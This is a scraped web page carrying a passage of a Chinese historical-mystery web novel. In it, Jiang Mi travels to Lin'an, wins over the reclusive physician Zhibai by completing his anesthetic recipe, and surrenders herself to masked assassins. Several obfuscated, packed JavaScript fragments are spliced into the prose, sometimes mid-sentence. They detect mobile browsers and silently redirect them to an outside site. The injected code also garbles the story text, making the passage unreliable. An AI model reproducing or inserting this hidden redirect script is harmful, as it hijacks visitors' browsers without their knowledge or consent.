l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17471380|201500||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼的迷青,不得不应:“是,主上。” 待他和顾尚武离去,姜觅站在床榻边,淡淡开口道:“别装了,唤疑已经走了。” 方才众人的注意力都在顾尚武身上,她却瞧见迷青眼皮颤动,且眉毛不自觉紧蹙,额间短暂浮现出川字纹。 唤疑以为迷青是因为太过痛苦才如此,她却不以为然。 果不其然,话落就见迷青缓缓掀开眼皮,眼神空洞地看着正上方。 姜觅知道他短时间内想了许多事。 方才他们刚走进地牢,迷青受刑却一句话不肯说。对于迷青这样的人,身体上的疼痛远远比不上精神上的痛楚。 玉佩是迷青的心结,如今玉佩已经能够物归原主,他最珍惜的弟弟现在在谢衔手里,迷青没有必要去做无谓的坚持。 加上之前迷青看在原主微薄善意,就出声想要阻拦原主回府,想来并没有磨灭本性。她现在有百分百的把握策反迷青。 迷青气息微弱,一口气断断续续地说了很多话:“我那时发高烧,弟弟去找人借钱。他找到了我,带走了我和整条街的其他乞丐,我们被关在一个暗室,那里伸手不见五指,没人给我们送吃的跟喝的。就这么过了三天,大家都慌了,谁都想活下来……只有我活下来了。” 迷青眼神里面写满灵魂深处的痛苦,缓了缓,继续道:“从那之后,我开始介绍训练,从一个活生生的人变成无情的杀人工具。后来我才知道,他会定期在京城抓走那些无人在意的乞丐,再让乞丐们互相残杀,最终活下来的成为我们训练中的一员。” 姜觅问道:“你杀了很多人,才成为他们的首领,对么?” 迷青微不可见地点头,道:“他给我们下毒,每月十五必须定期服药,否则七窍流血而亡。我答应过弟弟,不会留他一个人在世上。我要活下来,就必须遵守他的命令。” 他这次被谢衔抓到地牢,已经做好必死的准备,没想到居然能在死之前看到他的弟弟。 而且看样子,弟弟在世子这里过得不错。 思及此,他勾起了一抹苦涩与甜蜜交织的笑容。 姜觅感叹道:“真是人各有命,唤疑被谢衔收养,而你被‘他’驯养。” 她话锋一转,“你说的‘他’是谁?” 迷青答道:“我只是一个工具,工具没有资格知道主子是谁。他平常检验我们的训练成果时都会戴面具,我从未见过他的真面目。” 说完,迷青已经一副生无可恋的模样,道:“姜小姐,我杀人无数,罪无可恕,不如就让我这么死去吧。” 他偷偷找了弟弟这么多年,如今看到弟弟在世子这里过得好,他也就死而无憾了。 姜觅没回答,只静静等待着。 只见门被唤疑重重推开,唤疑走上前来揪起迷青的衣领,道:“你的命现在在主上手里,由不得你想死就死!” 说完,他松开手,走到谢衔身前,半跪下身,道:“主上,请容属下前往临安寻找知白神医。” 谢衔道:“你先起身,这件事等会儿再议。” 说完,他看向迷青,道:“迷青,现在回头还来得及。” 他这话是诱拐迷青向他投诚。 谁知迷青迟疑片刻,道:“我唯姜小姐马首是瞻。” 谢衔微愣,有些遗憾地叹了口气,对着姜觅道:“看来迷青更信任姜小姐。” 姜觅状似无辜地看着谢衔,问道:“世子这话是什么意思?我的人难道就不是你的人么。还是说世子吃味了,更想做我的人?” 唤疑有些听不懂他们说话,什么你的人我的人,大家不都是自己人吗? 8. 雾里看花 紧接着,姜觅等人在屋外商讨,留给迷青静养的空间。 唤疑一脸决绝地向谢衔请命道:“主上,你如今不方便离开京城,不如让属下前往临安,属下一定将知白神医请过来。” 迷青现在伤痕累累,根本没办法一同前往临安寻找知白神医,只能他快马加鞭赶往临安,将那知白神医捆也得捆回来。 姜觅注意到唤疑话中的那句“不方便离开京城”,暗自思索:这是什么意思?原主记忆中人人都道世子无所拘束,在京城任性妄为,旁人都需朝廷官职傍身,可世子不需,他光在世子府待着就有皇帝送来金银珠宝。 那日世子府生辰宴,皇帝派来送东西就是证据。 可为什么不方便离开京城呢,莫非皇帝给予的那些恩宠只是假象? 姜觅早知京城利益纠葛复杂,就连县令都能为了利益冤枉好人,今日才意识到就连谢衔都身不由己。 姜觅本以为谢衔会十分爽快地答应,岂料他思忖片刻,道:“你可知尚武自幼崇拜知白神医,先前前往临安想拜知白神医为师,对方连门都不让进。” 迷青必须活下来,他是活生生的证据,可以证明凶手恶行,也是他们寻找真相的关键。 倒不是他不相信唤疑的能力,只是知白神医不是常人,不为财物所惑,又善毒,只怕唤疑刚想强行捆人就被知白神医制服。 姜觅一听,立马来了兴致,问道:“这位知白神医竟如此厉害?” 谢衔答道:“他本是前朝太傅,新帝登基之后就请辞离开京城,不想也精通医术,在临安颇有盛名。” 姜觅若有所思地颔首。 她现在身处的时代,应该也讲究帝制。至于前朝的事宜,原主身为富家小姐,记忆里少有这种事,只依稀记得当今皇帝并非正统,不过上位之后雷厉风行,群臣百官诚惶诚恐,不敢提及。 谢衔倒是大胆,公然提起前朝之事。 “不若我去?”姜觅主动提出,她心里隐隐有种预感,此去临安定然收获颇丰。 谢衔尚未说什么,唤疑皱眉道:“姜小姐,此去临安路途颠簸,非常人能忍受,您确定您受得了吗?” 谢衔呵斥道:“唤疑,不得无礼!” 唤疑有些委屈地“哦”了一声 。 先前谢衔派他去调查了这位姜小姐,自幼养在深闺,从未吃过苦头,就算会些识人之术又如何,刺客来袭还不是手无缚鸡之力? 他不懂主上为何如此看重这样一个女子。 谢衔摩挲着手指上的玉指环,勾起一抹散漫的笑,就这么轻易地答应了:“既然姜小姐想去,那便去吧。” 声音突然沉下去,眼底的暗光像极了吐舌性子的毒蛇,对着唤疑道:“此去临安,务必保护好姜小姐。” 唤疑闻言,浑身一震。 他知道主上这是在警告他。 为了不耽搁行程,姜觅和唤疑连夜出发。 谢衔派人寻了两匹好马,又准备了一些盘缠放入褡裢中。 临走时,谢衔从宽大衣袖中掏出一根银簪,递给姜觅,并道:“它或许可以在关键时刻救你一命。” 姜觅接过簪子,刚触碰到簪首的錾着的一小朵玉兰花,就被谢衔按住手腕制止道:“别动,这是机关,簪身有细缝,里面藏了三根剧毒银针,只要扭转这玉兰花,银针就会从底部弹出。” 姜觅闻言,轻笑一声,抬手将簪子戴上,道:“谢过世子。” 话落,她纵身一跃,熟练地翻上马背,那马受惊后前蹄腾空,她手拿缰绳一扯,轻而易举控制住骏马。 一旁唤疑大吃一惊,他本来打算看姜觅笑话,等着姜觅看到马匹后知难而退,竟没想到对方居然会骑马,他查到的那些莫非都是假的? 谢衔却并不惊讶,他早就习惯姜觅带给人的惊喜,正如初见那般。 两人驾着马,在月光映照下的地面上形成一道流动的黑影,消失在尽头。 谢衔站在原地。 他们走后,原本应该躺在床上养伤的迷青不知何时出现在谢衔身旁,半跪道:“主上,是属下疏忽了,差点坏了主上大计。” 谢衔早就收起平时玩世不恭的模样,半个身子隐没在黑暗中,眼神晦暗不明地睨着迷青,声音不喜不怒道:“不用慌,本世子自有机会与你算账。” 迷青脸色顿时煞白。 姜觅和唤疑不休不眠赶了三天三夜才赶到临安,路上饿了就随便用些干粮。 等两人用早已准备的好的关蝶进入临安城,唤疑不禁对姜觅有些敬佩。 这一路就连他都忍不住想叫苦,可是姜觅却未曾喊苦喊累,倒是颠覆了他对富家小姐的想法,他不禁反思自己是不是对姜觅偏见太深了。 两人寻了一处酒楼,准备打听一下知白神医的住所再动身前往。 一路上吃的都是粗粮,好不容易进城,刚落座,唤疑就点了一桌子好菜。 美酒好菜上齐之后,唤疑迫不及待地拿起筷子,夹起一块肉就往嘴里送,半晌才发现姜觅一直没动筷,于是刚抬头准备询问,就看见姜觅的视线一直放在自己的后方。 他不禁疑惑:姜小姐这是看到什么了吗? 他转过头,顺着姜觅的视线望去,却见就在他们身后的那一桌坐着一对男女,那个女人他们都十分熟悉,正是逃婚的林音音,身旁那个男人的身份就不言而喻了。 林音音显然也发现了他们,正与姜觅对视,脸上洋溢着幸福的笑容,拉着男人走了过来。 她蹭在姜觅身边,笑道:“姜姐姐,这么巧啊。” 唤疑的表情却有些复杂,桌上的菜顿时都不香了。 顾尚武同主上交情颇深,也算是他的半个主子,林音音逃他半个主子的婚,他不知道该如何面对。 姜觅打趣道:“看来你很满意你的选择。” 林音音摇摇头,道:“谈不上满不满意,父亲……他根本不在乎我,我只是他利益捆绑的工具,尚武哥哥也有心爱的人,我和他在一起不会幸福的。” 京城的人都以为顾尚武遭受未婚妻公然逃婚,会恼羞成怒,实际上这不过是两人共同商议的结果罢了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17471381|201500||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 林音音谈起父亲,眉宇间总有种化不开的忧愁,身旁男人敏锐地察觉到,用手轻轻抚摸着林音音的后背,算是无声的安慰。 林音音甜蜜一笑,向姜觅介绍道:“姜姐姐,他叫阿栈,我的意中人。” 姜觅刚准备调侃几句,就听到林音音随意说道:“说来有趣,我刚见到姜姐姐就觉得你同阿栈长得有些像,因此亲切感十足。” 有些像? 姜觅有些疑惑,直到她抬头,望向这位名叫阿栈的男人。 她以为的下人不说五大三粗,起码浑身颇有力量,然而这位阿栈却身形清瘦,面白如雪,说是书生也不为过,眉眼浅淡疏离,唯独看向林音音时温柔至极。 姜觅定定看了很久,直到阿栈开口说话,她才猛然惊醒。 阿栈道:“姜小姐,我听音音时常提起你……你对我们俩的恩情我会永远记住的。” 不知为何,阿栈说话中规中矩,姜觅却觉得他的眼中饱含深意,她欲要探究,对方却缓慢移开视线,好像一切都只是她的错觉。 可是,真的是错觉吗? 以现代侧写角度来看,她可以通过面部特征与行为特征及微表情判断两人是否有血缘关系,可是在不能进行基因检测的情况下,误判率极高,何况天下之大无奇不有,她与这位阿栈说不定是碰巧有些像。 饶是这样想,接下来的时间里,姜觅总是忍不住时不时朝阿栈望去。 四人相认,坐在同一张桌子上品尝临安特有的山珍海味。 饱食之后,姜觅不由问道:“林小姐,你们怎么来临安了呢?” 说实话,临安同京城接壤,林音音逃婚之后,丞相大怒,前后派了无数人去寻,林音音应该同阿栈逃去更远的地方才对。 林音音吃饱喝足之后,懒洋洋地躺在阿栈怀里,这是她从前敢都不敢做的,她是京城人人称赞的贵女,名满京城的才女,从小被家族严格管教。 可她早就厌弃了这种生活。 得知姜觅的疑惑,她解释道:“因为阿栈从小就患有心疾,我们听说白神医妙手回春,便想一试。我们也是刚到临安。” 一直默不作声的唤疑听到这句话,格外惊讶道:“这么巧,我们也是去寻知白神医的。” 话落,他又补充道:“林小姐,我们要知白神医有急用,你们可不能跟我们抢。” 林音音自动忽略掉唤疑的第二句话,欣喜道:“姜姐姐,我们同路诶!” 姜觅笑眼如月,道:“那我们今日先打探这位知白神医的下落,在这里歇一晚,明日再出发?” 林音音一口答应。 阿栈好像整个人都没有主见,林音音说什么就是什么。 四人正处酒楼,这里鱼龙混杂,掌柜与小二平常接触的人也多,唤疑只花了几两银子,就问出了知白神医的行踪。 不过那个掌柜最后提醒道:“不过这位知白神医性格古怪,救人只看眼缘,你们要去,只能碰碰运气喽。” 说话时眼神充满揶揄,似乎是不太看好他们这一程。 9. 一波三折 天色渐渐暗下去,星辰如碎钻,点缀在无边黑暗中。 四人就近找了处客栈,打算歇一晚再去寻知白神医。 姜觅在床上辗转反侧,难以入眠。 她想起了艾花。还记得那日艾花来世子府寻她,被她叮嘱晚上不要就寝后,她还另外说了一句:“姐姐,不如今晚的事情过后,我叫世子安排你们离开。” 那时艾花苦涩地笑了笑,紧接着摇摇头,答道:“我走不了。” 她察觉到艾花不愿说出缘由,因此不再追问。 谢衔派人去寻艾花母女,到现在还没有线索,她不可避免地感到心慌。 艾花既然说了那话,肯定是没有离开京城的,可她又藏在哪呢,为什么不肯出现? 那日利用艾花母女引出黑衣人也是无奈之举,不知姐姐那么信任她,是否对她失望呢…… 想着想着,姜觅的意识渐渐模糊,只记得自己失去意识的前一秒,脑海中居然浮现出阿栈那张与她有四、五分像的脸。 清晨,薄雾笼罩临安。 刚开窗,就迎来夹杂着清新绿草味的雾气,让人神清气爽。 天边金光如浪涛翻滚。骄阳慢慢升起,薄雾渐渐散开时,四人行走在无人的小路上。 姜觅记忆力惊人,昨日酒楼掌柜在纸上简单绘了张地图,又简单地描述了周遭环境,她只看一眼就记住了。 她领头走在最前面。 唤疑还记得谢衔的吩咐,因此走在姜觅的左后方,时刻警惕着。 林音音和阿栈挽着手走在右后方,两人一路上有说有笑,倒不像是在寻医,更像是来游玩的。 走着走着,姜觅突然停下脚步。 众人这才看清眼前景象——原来是一片森林。 姜觅道:“是这里没错了。昨日掌柜说,穿过一片森林,能看到一个茅草屋,知白神医九就住在那。” 看着这片森林,姜觅有种不安的思绪。 他们现在所处临安的边沿地带,早就知道知白神医不染尘世,没有想到他是完全隔绝人世。 不难猜出要请这位世外高人“出山”是多么困难的一件事。 四人穿梭在森林里。 这里阴森森的,一点活人的气息都没有,一路上都能听到某种爬行动物在地面上游走的声音,引人颤栗。 不知走了多久还没有找到知白神医的住所,几人难免感到有些泄气。 率先撂担子的是唤疑,他看着无边无际的树林,道:“这里连个人影都没有,是不是我们走错方向了,还是说那个掌柜的在骗我们?” 姜觅摇摇头,道:“他没理由骗我们。不如我们先在这里歇一歇,再往前走试一下。” 唤疑忿然妥协。 林音音靠在一棵大树旁歇息,阿栈拿出怀中的手帕,为她擦去额间细汗。 她顿觉心中一暖,阿栈永远都是那么贴心。 阿栈道:“水囊没水了,刚刚走来这里时有一处小池,我去灌点水。” 林音音点点头。 阿栈上前捏了捏林音音的脸,道:“辛苦娘子为我奔波了。” 说罢,他拿着水葫芦往来时路走去。 林音音脸皮薄,在姜觅的视线下,被捏的那一处烫得吓人,耳尖逐渐红成水蜜桃的颜色。 姜觅刚准备说话,却见森林浓雾弥漫,就连站在她面前不过一步远的林音音都看不真切。 林音音有些惊讶且紧张地问道:“这是怎么回事?” 刚说话,她就咳了几声。 姜觅看向远处,发现看远处反而是清晰的。 她细细嗅着,发现这浓雾有一股刺鼻的熏香味,难怪林音音刚开口就呛咳。 林音音有些慌张:“那阿栈怎么办,他不会有事吧?” 姜觅安抚道:“他不会有事的,先用手帕掩住口鼻,等雾气散开我们再去寻他。” 林音音忧心忡忡地点点头,按照姜觅的吩咐去做。 姜觅勉强在浓雾中睁开眼,仔细分辨着这薄雾的形态。跟正常的浓雾不同,森林里起的浓雾不单单是液态小水滴,反而是烟和水汽的混合物,且呈现出灰褐色。 “是有人在燃烧湿草。”她肯定道。 唤疑不禁疑惑道:“什么叫湿草?” 姜觅解释道:“半干的柴草、青蒿等,因为没有是半干,所以属于不完全燃烧,所以燃烧会产生大量的浓烟。” 闻言,唤疑一头雾水地问道:“不完全燃烧是什么意思?” 涉及到专业知识,姜觅只顾着讲解,忘了自己身处时代,道:“……这不重要。” 唤疑眼中暗含探究之色,不再追询。 他道:“要不我们先退出去,等浓雾散了再来?” 姜觅却摇头,道:“如果我们这时离开,反而错过了唯一找到知白神医的机会。” 唤疑冷声反驳道:“你怎么知道这是找到知白神医唯一的机会呢?万一这个浓烟里面有毒,我们所有人都会中毒而死!” 姜觅无意与他发生争执。 她的身份是姜家遗孤,如今身处世子府,在外人眼里她就是靠着世子垂怜过日子。 谢衔的人看不起她也是正常的。姜觅觉得自己知道自己是个怎样的人就够了,至于旁人怎么想自己,那就是旁人的事情。 心是这么想,但她也不会将关系闹僵,只笑道:“唤统领不相信我,大可现在就离开。” 话落,她率先动脚,朝雾气最浓的地方走去。 无人的森林里,是谁在燃烧湿草不言而喻,既然是知白神医的话,他们朝着雾气最浓的地方行走,必能找到火堆,也就是知白神医居住的地方。 林音音忙跟在她的身后走。 唤疑迟疑片刻,最终还是选择跟上了,不过脸上颇不服气。 他很想甩袖离开,可主上的命令他不得不从,万一姜觅因为自己的冒失有个三长两短,他可担不起责。 大概又继续行走了一炷香的时间,众人才惊奇发现燃烧湿草的地方正处于森林深处。 这处茅草屋好像硬生生地在这处森林劈开一处宽阔的空地,难怪他们怎么都走不出这处深林,就算走出也没用,因为知白神医的茅草屋根本不在森林外,而在森林里面! 多亏这浓烟,将他们引来了正确的地方。 唤疑此刻不得不承认姜觅的判断是多么正确,可是内心却感到格外的别扭,他盯着姜觅看了半天,硬是没有憋出半句话。 姜觅见此,语气十分自然地道:“唤统领放心,先前的事情我从未放在心上。” 这话说的是实话,她一向如此,记好不记坏。 唤疑第一次有一种名为羞愧的情绪涌上心头,然而只能闷声道:“好。” 紧接着,三人来到茅草屋前的空地,只见一个白发苍苍的老人手拿火把,不断点燃地上堆积成山的湿草,而他身旁站着一个男人,正是方才说要去给水囊灌水的阿栈。 阿栈神情痛苦,知白神医走到哪,他就跟在哪。 姜觅两步做三步走到知白神医面前,语气随和道:“您是故意燃烧湿草的吧。” 这小老头燃烧湿草大概是想模糊她们视线,劝退他们,谁能想到她们迎着浓烟就找上门来了呢? 小老头哼了一声,直接将火把甩进湿草堆积的小山丘里面,一时间浓烟四起,姜觅被熏得流出眼泪。 知白神医瞅了眼姜觅,也不回答,只道:“说吧,你们找我做什么?” 姜觅不绕弯子道:“我们想请您前往京城救一个人。” 知白神医再次冷哼,道:“老夫在这里住了近十年,岂是你轻飘飘的一个‘请’字就离开这个地方?” 姜觅笑道:“只有您肯救她,让我们做什么我们都愿意。” 知白神医道:“老夫什么也不缺,什么也不要!死了这条心吧!” 林音音早在看到阿栈的第一眼,就赶忙跑去阿栈旁边,没忍住插话道:“那阿栈呢,阿栈的心疾您能否帮忙看一下?多少银子都可以。” 这话一出,老头子气得脸通红:“谁缺你们这碎银几两!” 说罢,他瞥了一眼阿栈,道:“老夫看他生龙活虎的,哪像患有心疾的样子,再活多少年都没问题!” 姜觅还欲说些什么,知白神医却霍地用手拍了下自己的脑袋,自言自语道:“都怪你们,害得老夫忘了煎药的时辰。” 原来茅草屋前有一处土灶,陶瓷药罐放置在灶膛口的小火圈上,以文火煎药。待知白神医赶忙解开盖子时,药草已经糊了,哪里还有药汁? 知白神医气得胡子都直了,怒声道:“都滚!” 他径直走进茅草屋,将本就不坚固的木门重重甩上。 四人站在门外,碰了一鼻子草灰。 唤疑沉着脸,瞪着木门,道:“不如我将他抓出来?” 阿栈摇摇头,道:“不可。知白神医软硬不吃。若是强来,你将刀架在他的脖子上,他都不会服软的。” 姜觅面容冷静,忽的问道:“看来阿栈公子很了解知白神医?” 阿栈淡淡一笑,解释道:“在下自幼患有心疾,不得不了解。” 姜觅默默移开视线,朝灶台走去,肚眼火柴还在燃烧,药罐冒着热气,她却不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17471382|201500||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 管不顾直接将手伸了进去,用指腹拈了些药渣,置于鼻尖轻嗅。 唤疑跟在她身后,见此行为格外不解道:“你这是在干什么?” 而后,他又有些焦急道:“我们不能在浪费时间了,迷青的身体根本等不了我们那么久……当务之急,还是想办法讨好这个小老头,让他跟我们回京城。” 姜觅没空理唤疑,她睁开眼看着指尖的药渣,陷入沉思中。 林音音同阿栈走来,见姜觅如此,不由问道:“可是有什么发现?” 姜觅用另一只手拂去药渣,眼神平静,却有一种势在必得的掌控感,道:“我有办法了。” “什么办法?”林音音欣喜地瞪大双眼。 阿栈看着药罐,若有所思。 翌日,四人行走于森林附近的山坡草地上,山坡另一面是有着灌丛的杂木林。 穿梭在灌木中,姜觅迅速扫视四周,寻找着她要找的那个东西。 其余三人跟在身后,依旧不知道姜觅在寻什么。 唤疑忍了又忍,问道:“姜小姐,我们要找什么东西?这跟请知白神医去京城为迷青解毒有什么关系吗?” 姜觅面对质疑并不恼火,道:“不用慌,等会你就知道了。” 话落,她往不远处的山脚随意一瞥,便看到那抹金黄色,花朵明媚中带有淡淡的距离感。 姜觅眼神一亮,快步上前,凑到一株花前,闻到一股子苦涩的药味。 “就是它了。”她将花摘下。 林音音好奇地看着花丛,道:“这不是黄杜鹃吗?” 姜觅点点头,道:“没错,也叫羊踯躅。全株都含有毒素,可以入药。” 林音音疑惑:“既然有毒,怎么能入药呢?” 姜觅解释道:“虽然它有毒,但也有镇痛麻醉的效果。” 她瞧见知白神医煎药的药渣里面有当归、菖蒲等药材,不难猜出知白神医正在考究麻沸散药性。 从知白神医意识到药煎过头时脸上懊恼的表情上,不难看出他是多么重视本草之学。 可是少了这羊踯躅,又怎么能熬制成功呢? 至于她为什么这么清楚的知道这药方,不过是有一次案件中,被害人因误食麻沸散导致呼吸抑制死亡,她在案件结束之后进行总结时,对麻沸散略有涉猎。 姜觅等人就这样携了一株黄杜鹃重回茅草屋。 彼时知白神医已经换好药罐里面的药材,开始新一轮煎煮。 他用余光看到姜觅,自顾自往土灶里面添柴,道:“你们还回来做什么。我说了我不会离开这里。” “知白神医,您这样可是永远都熬制不出麻沸散的。” 姜觅淡淡开口,说出的话对于知白神医来说却是重磅消息,犹如巨石抛入平静湖水,荡起圈圈涟漪。 知白神医眯了眯眼,立马停下手中动作,十分郑重地看向姜觅,直到此刻他才真正看清姜觅的样子,和年轻时候的她多像啊! 姜觅能看出知白神医眼神里面的追忆。 从她来到这个世界起,遇到的事情都是那么奇怪。摆在她面前的是一个又一个巨大的谜团,她有耐心和决心一一解决它们。 知白神医装模作样地摸了摸自己的长胡子,问道:“你这话是什么意思?” 姜觅知道这是鱼儿上钩了,倒也不慌不忙地道:“你这里面少了一类药材,自然永远都熬制不出真正的麻沸散。” 知白神医自然注意到姜觅手中鲜亮的黄色,有些质疑地问道:“就是它?” 他的眼神落在这株羊踯躅上。 姜觅斩钉截铁道:“没错,就是它。” 知白神医冷笑:“我考究麻沸散多年,你这小娃娃不过看了眼药渣,就能得出真正的药方?” 麻沸散等药方失传已有多年,他为了补方,试遍各种药材都没成功。 他说罢,伸手就要夺走这株羊踯躅,想要探个究竟。 然而姜觅像是提前预料般,侧身一躲,道:“您得答应我。若是成功了,您要跟我一起回京城,为我朋友解毒。” 知白神医咬牙切齿道:“一言为定!” 话落,唤疑将随身携带的麻袋拿出,里面装着方才在山脚采摘的羊踯躅。 知白神医将羊踯躅处理过后,按照姜觅的安排放了一定剂量的羊踟躅在药罐里面。 大火煮沸之后,文火慢熬。 等到药液熬成,知白神医将药罐里面的药液倒在一个小陶碗中。 众人目不转睛地看着这个小陶碗。 “你们谁来试试?”知白神医问道,眼神中暗含狡黠的光芒。 10. 调虎离山 在场人都知道羊踯躅有毒,谁敢轻易尝试? 姜觅嘴角噙着笑意,不费吹灰之力打破僵局,十分从容地伸手拿过小陶碗,饮尽药汁。 知白神医见此,眼中难免浮现出几分敬佩之情。 并不是谁都有胆量以身试药。 就他钻研麻沸散的这些日子,曾经服用了一剂药,喝完晕了三天无人知晓。 待姜觅喝完药,知白神医拿出针囊,从中取出几根极细的银针,快准狠地扎在姜觅的手臂上。 只见姜觅始终神色如常。 良久,知白神医语气急促地问道:“有感觉吗?” 姜觅摇摇头,道:“没有。” 闻言,知白神医大喜过望,站直身子左右踱步,等他兴奋过后连忙从茅草屋中取出纸笔,记录下麻沸散的药方。 这处茅草屋十分简陋,一边是简单的床榻,另一边是木制的案几,上面散乱放置着几本书册,常年被湿气沾染显得格外暗沉,知白神医置于其间,一身白衣是其中唯一的亮色。 等记录好药方,知白神医径直走到姜觅身前,仿若施恩的语气道:“小娃娃,不如你拜我为师?” 他不得不叹服姜觅天份极高。 姜觅早有准备,迎合地上前扶住知白神医的胳膊,并柔声细语道:“师父,不如跟我一块回京城?” 知白神医只能听见“师父”两字,谁知道姜觅后半句话说的什么,欣然点头道:“好啊,好啊。” 见证全程的唤疑总觉得此事太过顺利,又觉得本应该如此。 入夜,唤疑驾着马车,在山野小道上疾驰着。宽大的车轮碾过地上崎岖的石子,磕磕绊绊。 马车里,前排的背对方向坐着的两人正是林音音和阿栈。 林音音靠在阿栈肩上,困惑道:“阿栈,我们为什么要回京?” 那时她还在同姜觅道别,却被阿栈一手拉上马车。 她不懂,她和阿栈好不容易从京城这个吃人不吐骨头的地方逃出去,为什么还要回去。 阿栈看了眼主座上闭目小憩的姜觅,吐了口浊气,温声道:“音音,对不起,总有一天你会明白的。” 姜觅坐在马车上不敢有丝毫困意,闻言睁开眼,头微微偏向阿栈那一侧,目光若有若无地扫向他,道:“方才忘了问,阿栈公子不是说去灌水么,怎么出现在师父的住所,可是碰巧?” 言语间意有所指,是个人都能听出来。 林音音也反应过来不对劲,当时她只顾着同知白神医求情,却忽视了这个问题。 她楞然看向阿栈,却不是第一次感受到身边人的神秘。 阿栈嘴皮子动了动,刚准备开口解释,马车却突然停下,车身剧烈摇晃,几人差点没坐住。 外面传来唤疑焦急的声音:“他们来了!” 姜觅连忙拉开车幔,入目的便是莫约十几名黑衣人挡在马车前。 他们离开临安时来了一出偷梁换柱,请了几个人冒充他们走的官道,而他们则走的山路,没想到这群人还是跟了上来。 没错,姜觅早就察觉到有人在暗处跟踪他们,可是却迟迟不现身,于是按捺不动,待敌上前。 剑拔弩张之际,唤疑跳下马车,抬手拉掉垂在马车前的绳结,一时马车上提前准备的箭矢飞出。 黑衣人向四周躲避,挥舞长剑打掉箭矢。 恰在此时,唤疑早已飞跃到他们面前,一剑抹脖。 林音音看着内心焦急万分,却见身旁人站起身来。 她急了,赶忙唤道:“阿栈,你不要下去!” 她说话一向低声细语,头一次如此大声地喊叫。 可话刚落,却见阿栈不知从何处掏出两个匕首,干脆利落地舞动招式,帮助唤疑制服了一个黑衣人。 林音音惊了,喃喃道:“他居然会武功。” 姜觅看着眼前混战,冷静分析局势:黑衣人人数众多,唤疑和阿栈虽然武功高强,但是很难以少胜多。 这群人是冲着她来的,是她小瞧了背后之人的穷追不舍。 事已至此,不如化劣势为优势。 思及此,她对着林音音嘱托道:“务必不要下马车,保护好自己。” 同坐在主座,依旧气定神闲的知白神医不由脸色一变,问道:“小娃娃,你要干什么?” 姜觅摇摇头,转身跳下马车。 唤疑和阿栈两人已经有些招架不住黑衣人的围攻,这群黑衣人都是些没有知觉的刽子手,剑插在他们的肩膀上,他们感受不到疼痛,依旧不停围攻。 姜觅刚下马车,黑衣人立马注意到。 唤疑和阿栈忙跑到姜觅身旁,护住她左右方向,黑衣人站在另一端虎视眈眈地盯着他们。 唤疑和阿栈解决了几个黑衣人,余下也只剩下五名黑衣人。他们带着獠牙面具,只露出眼睛,此刻喘着粗气,无吃人不吐骨头猛兽无异。 唤疑闷闷小声道:“姜小姐,您下来做什么?” 姜觅没有回答,反而随手抢过阿栈的匕首。显然,阿栈对她并不设防。 阿栈微楞。 下一秒,姜觅手持匕首,架在自己的颈动脉上,上前走了一大步,坚定道:“我跟你们走,前提是必须放过他们,不然我就地自戕。” 这群人是冲着她来的,得由她出面解决才对,她不是菟丝花,不会躲在别人的身后。 何况,她也很好奇,究竟是什么东西,害的姜家家破人亡。 领头的黑衣人听到她的这番话,沉思片刻,点了点头。 唤疑和阿栈皆面露惊讶,唯独姜觅知道自己这是猜对了。 幕后之人派刺客将姜家之人杀绝,在姜府大肆翻找那个东西,甚至还二次返回犯罪现场,足以证明那个东西多么重要。 她作为灭门案唯一的活口,黑衣人当时因为疏忽放过了她,事后意识到自己被耍了,肯定会找机会再次出手,世子府生辰宴时林音音递给她的有毒的手帕就是证据。 可是幕后之人冷静过后,理所应当地认为那个东西在她的身上。 如果杀了她,或许永远都不可能找到那个东西。 现在她就算根本不知道幕后之人想要的东西是什么,也要装作自己知道,然后反军一将,绝处逢生。 姜觅不顾唤疑的反对,径直朝黑衣人们走去。 刀尖刺穿她的肌肤,流出几滴血珠,她在向黑衣人证实自己不是讲的假话。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17471383|201500||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她每向前走一步,黑衣人们便向后退一步,倒有几分步步紧逼的意味在其中,然而她神情泰然自若,与黑衣人的警惕眼神形成了鲜明对比。 不知走了多远,周围瞧不见一丁点光亮,只听“啪嗒”一声,姜觅手一松,匕首就这么掉在地上,而她如临死前绝望的犯人,放弃抵抗。 为首的黑衣人拿出早就准备好的麻绳,迅速上前,将她双手牢牢捆住。 姜觅被他们押着向山下走去,她的肩被他们按得生疼。 原主的身体还是太弱了,她回去之后应该多锻炼锻炼,姜觅心想着。 说不害怕是不可能的,她如今的行为算得上是铤而走险,如果失败,她的命就得交代在这。 